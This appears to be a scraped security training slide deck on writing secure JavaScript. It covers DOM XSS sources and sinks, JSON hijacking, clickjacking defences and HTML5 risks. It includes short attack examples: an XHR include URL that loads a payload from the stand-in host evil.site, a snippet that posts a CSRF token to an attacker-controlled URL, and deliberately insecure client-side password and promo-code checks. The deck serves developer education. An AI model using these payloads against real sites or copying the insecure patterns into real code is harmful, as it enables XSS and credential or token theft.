Secure java script-for-developers

Secure JavaScript for
Developers
Trainer:
Lavakumar Kuppan
@lavakumark
http://www.andlabs.org

About
• Author of IronWASP and several other
tools
• Security Researcher
• Former Penetration Tester
• Recipient of Nullcon BlackShield
Luminaire Award
• Frequent Speaker at Security
Conferences
http://lavakumar.com

Research
Attack and Defense Labs
Repository of all Research and Tools
http://www.andlabs.org
HTML5 Security, Browser-side
Security
Topics of interest
#5 on Top 10 Web Hacks of 2010
CSRF-protection bypass using HPP and ClickJacking

Tools
IronWASP
Web Application Security Testing
Platform Ravan
JavaScript based Distributed
Computing System
JS-RECON
HTML5 based JavaScript Network
Recon Tool
Imposter
Browser Phishing Framework
Shell of the Future
XSS Reverse Web Shell

 Importance of JavaScript Security
 DOM based XSS
– Introduction
– Sources & Sinks
– Identifying DOM based XSS
– Mitigating DOM based XSS
– Lab Session
Outline

 JSON Security
– JSON Parsing
– JSON Hijacking
 Clickjacking Protection
– What doesn’t work
– What works
Outline (cont..)

 HTML5 Security
– Cross Origin Requests
– Client-side Persistent Storage
– postMessage
 Things to avoid doing in JavaScript
Outline (cont..)

Importance of JavaScript
Security

 JavaScript cannot have Security issues
 Secure Coding is a Server-side concern
 All my data is stored on the Server-side
 All critical actions are performed on the
Server-side
Myths

 JavaScript Security is as important as
Serve-side Security
 All Server-side Data can be accessed from
the browser with JavaScript
 All Server-side Functionality can be called
from the browser with JavaScript
 Client-side Storage is gaining prominence
(HTML5)
 Client-side logic is on the rise
Reality

 Most important JavaScript Security issue
 Script Injection purely on the client-side
 Attacker controlled data injected in to the
DOM/JavaScript
 Involves a Source and a Sink
DOM Based XSS

 DOM Properties that can be influenced by
an attacker
 Types:
– Location based
– Client-side Storage based
– Navigation based
– Cross-domain
Source

 location
 location.hash
 location.href
 location.pathname
 location.search
 document.URL
 document.baseURI
 document.documentURI
 document. URLUnencoded
Location based Source

 document.cookie
 sessionStorage*
 localStorage*
 Web SQL Database*
 Indexed DB*
* HTML5
Client-side Storage Based

 window.name
 document.referrer
 history (HTML5)
Navigation Based

 postMessage*
 XHR call responses from 3rd party
JavaScript API
 JSON calls backs from 3rd party
JavaScript API
*HTML5
Cross-domain

 DOM Properties, JavaScript functions and
other client-side entities that can lead to or
influence client-side code execution
 Types:
– Execution based
– Url Based
– HTML Based
– Others
Sinks

 eval()
 Function()
 setTimeout()
 setInterval()
 execScript() (IE Only)
 crypto.generateCRMFRequest() (FF Only)
Execution Based

 location
 location.assign()
 location.replace()
 location.href
 location.protocol*
 location.search*
 location.hostname*
 location.pathname*
*Indirect impact
Url Based

 document.write()
 document.writeln()
 HTML Elements
 HTML Element Attributes
– ‘src’
– onclick, onload, onerror etc
– Form action
– href
HTML Based

 XHR Calls
– open()
– send()
– setRequestHeader()
 postMessage
 Client-side Storage
 JavaScript variables
Others

 JavaScript Static Analysis
– Identify Sources and Follow them in to Sinks
– Run Regex on JavaScript code
– IronWASP
 JavaScript Runtime Analysis
– Requires the execution of JavaScript in the page
– Alerts when Sources/Sinks are called during
execution
– Dominator
– DOM Snitch
Identifying DOM Based XSS

 Avoid Sources and Sinks as much as possible
 Perform rigorous white-list based filtering on
Sources
 Perform proper encoding before sending to Sink
 ESAPI4JS to help with encoding and filtering
Mitigating DOM Based XSS

 DOM XSS Wiki
http://code.google.com/p/domxsswiki
 DOM Snitch http://code.google.com/p/domsnitch
References

 Has become the standard format to send data to
JavaScript
 Subset of JavaScript
 Only a data format but :
– Improper JSON Parsing can lead to Security issues
– Improper formatting can lead to JSON Hijacking
JSON Security

 JSON data is sent as text from the server
 Must convert this to JavaScript object
 JSON.parse() is the right and safe way to do it
 Older browsers don’t support JSON.parse()
 So eval() is used instead
var js_obj = eval(‘(‘ + json_string + ‘)’)
 This is where the trouble begins
JSON Parsing

 If JSON data is user controlled/from 3rd party
then it is poisoned
 Calling eval() on such JSON leads to XSS
 Filtering & Encoding JSON string before calling
eval() does not help
 Use https://github.com/douglascrockford/JSON-
js/blob/master/json_parse.js instead
JavaScript Injected in to JSON

 Proper JSON Validation
http://blog.kotowicz.net/2011/08/death-to-filters-
how-to-validate-json.html
 JSON Validation Bypass
http://blog.mindedsecurity.com/2011/08/ye-olde-
crockford-json-regexp-is.html
References

 JSON is a sub-set of JavaScript
 JavaScript can be loaded and executed from
external websites
<script src=“http://www.google-analytics.com/urchin.js”>
 JSON can also be loaded by external websites
<script src=“http://victim.site/getUsers”>
 Structure of the JSON string will determine if
external sites can read it
JSON Hijacking

 [{“name”:”lava”}]
This is a JavaScript Array and can be hijacked by
external sites
If attacker controls some part of this string then UTF-7
data can be injected to improve attack’s effectiveness
 callback_function({“name”:”lava”})
This is a valid JavaScript function and can be hijacked
by external sites
Troublesome Formats

 JSON Hijacking
http://www.thespanner.co.uk/2011/05/30/json-
hijacking
References

 Safe JSON Format:
{“name”:”lava”}
 Safe JSON Parsing:
JSON.parse()
– Use https://github.com/douglascrockford/JSON-
js/blob/master/json_parse.js to emulate JSON.parse()
in older browsers
Safe JSON

 ClickJacking is performed by including the target
page in an iframe of another page
 Obvious solution appears to be to prevent the
page from loading in an iframe
 Most developers use FrameBusting for this
 Some use CSRF-tokens in the URL to prevent
this
ClickJacking Protection

 Relies on JavaScript
 Fail-open model
 Can be bypassed by:
– Double Framing
– Cancelling unload
– No-Content Flushing
– Abusing browser-based XSS Filters
– Iframe Sandboxing (HTML5)
Problems with Framebusting approach

 CSRF-token in URL is set by the server
 But there must be some initial URL which does
not have this token
 This URL is usually the home page that the user
types in the Address bar
 Attacker can include this page in iframe and
ClickJack his way through to the target page
Problems with CSRF-tokens in URL approach

 On server-side use X-FRAME-OPTIONS header
 On the client-side use a fail-close model to
framebusting
 By default the page must be unusable – Set the
CSS ‘display’ property to ‘none‘
 If the page is no in an iframe the set ‘display’ to
‘block’
 References:
OWASP ClickJacking Protection
https://www.owasp.org/index.php/Clickjacking
Best way to Mitigate ClickJacking

 Originally Ajax calls were subject to Same Origin
Policy
 Site A cannot make XMLHttpRequests to Site B
 HTML5 makes it possible to make these cross
domain calls
 Site A can now make XMLHttpRequests to Site
B as long as Site B allows it.
 Response from Site B should include a header:
 Access-Control-Allow-Origin: Site A
Cross Origin Requests

 Have you seen URLs like these:
http://www.example.com/#index.php
 Inside the page:
<html><body><script>
x = new XMLHttpRequest();
x.open("GET",location.hash.substring(1));
x.onreadystatechange=function(){if(x.readyState==4){
document.getElementById("main").innerHTML=x.responseText;}}
x.send();
</script>
<div id=“main”></div>
</body></html>
Client-side File Includes

 This design though flawed was difficult to exploit
earlier
 Introducing Cross Origin Requests
http://example.com/#http://evil.site/payload.php
 Contents of ‘payload.php’ will be included as
HTML within <div id=“main”></div>
 New type of XSS!!
Client-side File Includes (contd..)

 COR makes XMLHttpRequest as a dangerous
DOM based XSS sink
 Responses of XHR are consumed in many
websites in different ways.
Eg: JSON, XML HTML
 Since this data is supposed to be from same
domain they are usually not validated
 Huge potential for XSS vulnerabilities
Client-side File Includes (contd..)

 Here the focus is not on the response of XHR
 But instead it is the request that matters
 Sites send a lot of sensitive data to the server
using XHR
 If the URL of the XHR is made to point to the
attacker’s website, then this data is sent to
attacker’s server
Eg: x = new XMLHttpRequest();
x.open(“POST",location.hash.substring(1));
x.send(“a=1&b=2&csrf-token=k34wo9s3l”);
Cross-site Posting

 HTML5 introduces several Persistent Client-side
Storage options:
– localStorage
– WebSQL
– IndexedDB
 Devs tempted to store sensitive data on client-
side
Eg: Offline Gmail stores the entire Inbox on the
client-side
 Storing data over HTTP is vulnerable to DNS
Spoofing attacks
Client-side Persistent Storage

 HTML5 API for sending/receiving data between
frames of different origins
 API has the option to explicitly mention the
target domain when sending message
 Don’t use ‘*’ to invalidate this security measure
 API has option to check the source of the
message
 Always perform this check before using the data
from external frames
 Don’t trust data from 3rd party, always validate it
postMessage

 HTML5 Quick Reference Guide
http://www.andlabs.org/html5.html
 Cross Origin Requests Security
http://code.google.com/p/html5security/wiki/Cros
sOriginRequestSecurity
 Web SQL Database Security
http://code.google.com/p/html5security/wiki/Web
SQLDatabaseSecurity
 Mozilla Developer Network – postMessage
https://developer.mozilla.org/en/DOM/window.po
stMessage
References

Things to avoid doing in JavaScript

 JavaScript runs in the user’s environment
 User has full control over it
 Impossible to prevent user from reading
JavaScript code
 Disabling right-click DOES NOT WORK
Some Basic Facts

if(user == “admin” && passwd = “s3cr3t”)
{
window.location = “admin.php”
}
else
{
window.location = “login.php”
}*
*Stop laughing, this is a real-life example
Authentication

var auth_result = check_creds(uname,pwd);
if(!auth_result)
{
failed_login_count++;
if(failed_login_count > 3)
{
document.cookie = “account_locked = 1”;
}
}
Security Controls

if(promo_code == “ER290U”)
{
discount_percent = 50;
}
else
{
discount_percent = 10;
}
Expose Business Logic or Sensitive Information

 Client-side only Validation
 Crypto, almost always a bad idea
 Storing sensitive data in client-side stores over
HTTP
 References:
Common Sense
Things to Avoid (contd..)

Secure java script-for-developers

More Related Content

What's hot (20)

Viewers also liked (20)

Similar to Secure java script-for-developers (20)

More from n|u - The Open Security Community (20)

Recently uploaded (20)

Secure java script-for-developers